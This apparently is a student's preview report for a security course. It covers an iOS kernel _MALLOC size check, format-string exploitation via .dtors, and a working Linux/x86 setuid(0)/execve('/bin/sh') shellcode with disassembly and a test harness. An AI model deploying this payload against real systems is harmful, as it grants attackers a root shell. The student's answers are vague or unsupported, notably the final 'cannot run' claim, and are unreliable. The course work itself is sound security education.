**PRE 3**

**吴瑞欣-E41614059**

**1、 （选做）Memory management**

The iOS \_MALLOC(size\_t size, int type, int flags) function allocates size bytes on the heap. Internally blocks are represented as a length field followed by a data field:

struct \_mhead {

size\_t mlen;

char dat[0]; }

The mlen field is used by the free() function to determine how much space needs to be freed. In iOS 4.x the \_MALLOC function was implemented as follows:

1 void \* \_MALLOC(size\_t size, int type, int flags) {

2 struct \_mhead \*hdr;

3 size\_t memsize = sizeof (\*hdr) + size;

4 hdr = (void \*)kalloc(memsize); // allocate memory

5 hdr->mlen = memsize;

6 return (hdr->dat);

7 }

In iOS 5.x the following two lines were added after line 3:

int o = memsize < size ? 1 : 0;

if (o) return (NULL);

Why were these lines added in iOS5.x? Briefly describe an attack that may be possible without these lines.

iOS \_MALLOC（size\_t size，int type，int flags）函数在堆上分配大小字节。内部块表示为长度字段，后跟数据字段：

struct \_mhead {

  size\_t mlen;

  char dat [0];

}

free（）函数使用mlen字段来确定需要释放多少空间。在iOS 4.x中，\_MALLOC函数实现如下：

1 void \* \_MALLOC（size\_t size，int type，int flags）{

2 struct \_mhead \* hdr;

3 size\_t memsize = sizeof（\* hdr）+ size;

4 hdr =（void \*）kalloc（memsize）; //分配内存

5 hdr-> mlen = memsize;

6返回（hdr-> dat）;

7}

在iOS 5.x中，在第3行之后添加了以下两行：

    int o = memsize <size？ 1：0;

    if（o）return（NULL）;

为什么在iOS5.x中添加这些行？简要描述没有这些线路可能发生的攻击。

解：

引用文献：iOS Kernel Heap Armageddon

网址：chrome-extension://cdonnmffkdaoajfknoeeecmchibpmkmg/static/pdf/web/viewer.html?file=https%3A%2F%2Fmedia.blackhat.com%2Fbh-us-12%2FBriefings%2FEsser%2FBH\_US\_12\_Esser\_iOS\_Kernel\_Heap\_Armageddon\_WP.pdf

The addition of the size header has two downsides, first it requires an integer addition in order to determine the size to be allocated and secondly it represents extra heap meta data that when overwritten can lead to exploitable conditions

翻译：加法确定头部大小有两个缺点，首先它需要整数加法以确定要分配的大小，其次它表示额外的堆元数据，当被覆盖时可能导致可利用的条件

因而可以得出结论这两行代码的设置为了防止堆内存被覆盖，溢出攻击

**2、为了顺利完成下节课，建议仔细阅读下面这篇文章的Level 9部分：**

https://infamoussyn.com/2013/09/11/smashthestack-io-walkthrough-part-b-levels-6-10/

https://tomasuh.github.io/2015/01/19/IO-Wargame.html

文章中利用.dtors的办法只是利用格式化字符串执行shellcode的一种形式。

printf中%2$d这类格式的含义如下：

Character Description

n$

n is the number of the parameter to display using this format specifier, allowing the parameters provided to be output multiple times, using varying format specifiers or in different orders. This is a POSIX extension and not in C99.

Example: printf("%2$d %1$#x %1$d",16,17) produces "17 0x10 16"

解：

确实没看懂，不知道它在讲什么，似乎在讲利用argv [1]地址覆盖.dtor函数指针，具体的内容希望可以上到这个知识点在该预习报告中体现。

**3、解释一下什么叫shellcode。下面这段代码被root编译并且suid后，普通用户是否能获得root shell？解释**"\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"其中的含义。

/\*

\* gcc -z execstack -o setuid-linux setuid-linux.c \*

\* setuid-linux.c - setuid/execve shellcode for Linux/x86

\* Short fully-functional setuid(0) and /bin/sh execve() shellcode.

\*/

/\*

\* setuid(0)

\*

\* 8049380: 6a 17 push $0x17

\* 8049382: 58 pop %eax

\* 8049383: 31 db xor %ebx,%ebx

\* 8049385: cd 80 int $0x80

\*

\* execve("/bin//sh", ["/bin//sh"], NULL)

\*

\* 8049387: 6a 0b push $0xb

\* 8049389: 58 pop %eax

\* 804938a: 99 cltd

\* 804938b: 52 push %edx

\* 804938c: 68 2f 2f 73 68 push $0x68732f2f

\* 8049391: 68 2f 62 69 6e push $0x6e69622f

\* 8049396: 89 e3 mov %esp,%ebx

\* 8049398: 52 push %edx

\* 8049399: 53 push %ebx

\* 804939a: 89 e1 mov %esp,%ecx

\* 804939c: cd 80 int $0x80

\*/

char sc[] = /\* 7 + 23 = 30 bytes \*/

"\x6a\x17\x58\x31\xdb\xcd\x80"

"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80";

main()

{

int (\*f)() = (int (\*)())sc; f();

}

解：

引用查阅wikipedia：https://en.wikipedia.org/wiki/Shellcode

In hacking, a shellcode is a small piece of code used as the payload in the exploitation of a software vulnerability.

在黑客中，shellcode是一小段代码用于软件漏洞的利用。

In computer security, a shellcode is a small piece of code used as the payload in the exploitation of a software vulnerability. It is called "shellcode" because it typically starts a command shell from which the attacker can control the compromised machine, but any piece of code that performs a similar task can be called shellcode.

shellcode通常是软件漏洞利用过程中使用一小段机器代码，之所以称为shellcode，是因为它启动一个命令界面，让攻击控制整个机器

由图片可得该代码无法运行，不可以获得root shell权限

